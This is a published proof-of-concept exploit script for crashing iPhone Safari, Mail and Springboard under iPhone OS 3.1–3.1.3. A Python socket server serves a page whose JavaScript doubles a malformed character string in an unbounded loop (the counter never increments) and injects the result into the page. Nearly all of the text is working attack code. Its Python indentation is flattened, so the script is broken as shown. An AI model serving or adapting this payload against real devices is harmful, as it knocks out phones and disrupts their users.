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#!/usr/bin/python
#iPhone Springboard crash PoC by Chase Higgins. Devices tested: iPhone 2G @ OS 3.1, iPhone 3GS @ 3.1.3
#this script acts as webserver, and causes Safari, as well as Mail and Springboard to crash
#all these apps crash after running this exploit on the iPhone. Unable to debug any of these processes as the gdb on my
#device is acting up, original iPhone is just too low memory to further test this exploit, so I am releasing it
# Exploit Title: iPhone Springboard Malformed Character Crash PoC
# Date: 3/15/2010
# Author: Chase Higgins
# Software Link: apple.com/iphone/
# Version: iPhone 2G, iPhone 3GS
# Tested on: iPhone OS 3.1, and iPhone OS 3.1.3
# CVE :
# Code : none
import sys, socket;
def main():
html = """
<html>
<head>
<script>
function triggerCrash(){
evil_div = document.getElementById('evilDiv');
var evil_string = "\x4e\x5b\x01";
i = 0;
while (i < 1000){
evil_string = evil_string + evil_string;
}
evil_div.innerHTML = evil_string;
}
</script>
</head>
<body onLoad="triggerCrash()">
<div id="evilDiv">
</div>
</body>
</html>
""";
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.bind(('',2121));
s.listen(1);
while True:
channel, details = s.accept();
print channel.recv(1024);
channel.send(html);
channel.close();
main();
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